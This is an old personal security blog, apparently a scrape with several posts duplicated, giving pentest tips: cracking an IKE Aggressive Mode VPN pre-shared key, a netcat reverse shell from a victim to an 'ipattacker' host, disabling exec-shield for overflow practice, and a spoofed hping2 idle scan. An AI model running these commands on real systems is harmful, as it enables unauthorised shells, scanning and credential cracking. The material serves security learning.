If you are doing a Pentest and you find a Vpn server there is a chance that it support Aggressive Mode, so what could we do?
1-Use Ikeprobe to check if the server support Aggressive Mode: ikeprobe ipserver
2-If we are lucky and there is a match, then we have to configure a vpn client (Safenet for example) with the information we have, we doesnt have the pre-shared key but doesnt matter, that is what we looking for.
3-Before firing up the vpn client, we have to put Cain to sniff the network traffic.
4-After the failed attempt Cain will have a sniffed the preshared key hash, now we send it to the Cain cracker.
5-And then we can launch Dictionary attack and if it fails, we can try brute force attack. We have to wait and wait... until the password is revealed.
That's all
Ike Aggressive Mode Cracking
Publicado por
Christian Martorella
0
comentarios
Thursday, May 12, 2005
Netcat Udp shell
Publicado por
Christian Martorella
Here is a little memory helper about the uses of Netcat, an udp shell.
On the attacker:
Terminal 1: nc -lun -p 4444
Terminal 2: nc -lun -p 5555
On the Victim:
echo""|nc -un ipattacker 4444 | nc -un ipattacker 5555
So you type the commands on the Terminal 1 and you receive the output on Terminal 2.
This also apply to tcp
On the attacker:
Terminal 1: nc -lun -p 4444
Terminal 2: nc -lun -p 5555
On the Victim:
echo""|nc -un ipattacker 4444 | nc -un ipattacker 5555
So you type the commands on the Terminal 1 and you receive the output on Terminal 2.
This also apply to tcp
More Exec-shield and Fedora
Publicado por
Christian Martorella
Well i'm not using Fedora anymore, Ubuntu has replaced it forever :)
But i found that Fedora cames with the option exec-shield-randomize enabled,
so your stack address change every time you run a program.
For example:
$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff134
&sp is 0xbffff034
&sp is 0xbfffef34
&sp is 0xbfffee34
Now if you want to disable the randomization you have to execute this command:
echo 0 > /proc/sys/kernel/exec-shield-randomize
And now if we do the test again, we see that our address is not changing anymore:
$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
So we can do our test and Bufos practising without problems :)
But i found that Fedora cames with the option exec-shield-randomize enabled,
so your stack address change every time you run a program.
For example:
$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff134
&sp is 0xbffff034
&sp is 0xbfffef34
&sp is 0xbfffee34
Now if you want to disable the randomization you have to execute this command:
echo 0 > /proc/sys/kernel/exec-shield-randomize
And now if we do the test again, we see that our address is not changing anymore:
$ gcc -Wall -g --static -o stackp stackp.c
$ for i in 1 2 3 4 5; do ./stackp; done
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
&sp is 0xbffff234
So we can do our test and Bufos practising without problems :)
0
comentarios
Wednesday, April 06, 2005
Hping2
Publicado por
Christian Martorella
Here we have 3 little examples of hping2 uses:
Host uptime:
------------
hping2 host -p 80 -S --tcp-timestamp
Scanning :
---------
Syn scan:
hping2 -S target -p ++80 (++ will increase the port, for each try)
hping2 --scan known target
IDLE SCAN using Hping2
----------------------
The Players:
host A - evil host, the attacker.
host B - silent host.
host C - victim host.
A is your host.
B is a particular host: It must not send any packets while
you are scanning C. There are a lot of 'zero traffic' hosts
in internet, especially in the night :)
C is the victim, it must be vulnerable to SYN scan.
I've called this scan method 'dumb host scan' in honour of host
B characteristics.
How it works:
Host A monitors number of outgoing packets from B using id iphdr.
You can do this simply using hping:
#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.
As you can see, id increases are always 1. So this host have the
characteristics that host B should to own.
Now host A sends SYN to port X of C spoofing from B.
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
if port X of C is open, host C will send SYN|ACK to B (yes,
host C don't know that the real sender is A). In this
case host B replies to SYN|ACK with a RST.
If we send to host C a few of SYN it will reply to B with a few
of SYN|ACK, so B will reply to C a few of RST... so
we'll see that host B is sending packets!
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.
The port is open!
Instead, if port X of C is closed sending to C a few
of SYN spoofed from B, it will reply with RST to B, and
B will not reply (see 3). So we'll see that host B is not sending
any packet:
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..
The port is closed.
All this can appear complicated to perform, but using two sessions
of hping on Linux virtual consoles or under X makes it more simple.
First session listen host B: hping B -r
Second session send spoofed SYN: hping C -a B -S
Host uptime:
------------
hping2 host -p 80 -S --tcp-timestamp
Scanning :
---------
Syn scan:
hping2 -S target -p ++80 (++ will increase the port, for each try)
hping2 --scan known target
IDLE SCAN using Hping2
----------------------
The Players:
host A - evil host, the attacker.
host B - silent host.
host C - victim host.
A is your host.
B is a particular host: It must not send any packets while
you are scanning C. There are a lot of 'zero traffic' hosts
in internet, especially in the night :)
C is the victim, it must be vulnerable to SYN scan.
I've called this scan method 'dumb host scan' in honour of host
B characteristics.
How it works:
Host A monitors number of outgoing packets from B using id iphdr.
You can do this simply using hping:
#hping B -r
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
-cut-
..
.
As you can see, id increases are always 1. So this host have the
characteristics that host B should to own.
Now host A sends SYN to port X of C spoofing from B.
(using hping => 0.67 is very easy, http://www.kyuzz.org/antirez)
if port X of C is open, host C will send SYN|ACK to B (yes,
host C don't know that the real sender is A). In this
case host B replies to SYN|ACK with a RST.
If we send to host C a few of SYN it will reply to B with a few
of SYN|ACK, so B will reply to C a few of RST... so
we'll see that host B is sending packets!
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
-cut-
..
.
The port is open!
Instead, if port X of C is closed sending to C a few
of SYN spoofed from B, it will reply with RST to B, and
B will not reply (see 3). So we'll see that host B is not sending
any packet:
.
..
-cut-
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
-cut-
..
The port is closed.
All this can appear complicated to perform, but using two sessions
of hping on Linux virtual consoles or under X makes it more simple.
First session listen host B: hping B -r
Second session send spoofed SYN: hping C -a B -S
0
comentarios
Wednesday, March 23, 2005
Metasploit Framework new Release!
Publicado por
Christian Martorella
I tried the new Metasploit Framework 2.3, it has 12 new exploits, new and improved payloads, improved performance, new msfweb interface and the best of all the Meterpreter (Meta-Interpreter) a new advanced payload, allows developers to write their own extensions in the form of shared object (DLL) files, that can be uploaded and injected into a running process on a target computer after exploitation has ocurred. So it never touch the disk!
It has 4 extensions now:
FS (cd, getcwd, ls, upload, download)
Net (Ipconfig, portfwd, route)
Process (kill, ps, execute)
Sys (sysinfo, getuid, rev2self)
It's a big step for the metasploit project, and it's really sweet ;)
It has 4 extensions now:
FS (cd, getcwd, ls, upload, download)
Net (Ipconfig, portfwd, route)
Process (kill, ps, execute)
Sys (sysinfo, getuid, rev2self)
It's a big step for the metasploit project, and it's really sweet ;)
0
comentarios
Wednesday, January 12, 2005
Subscribe to:
Posts (Atom)
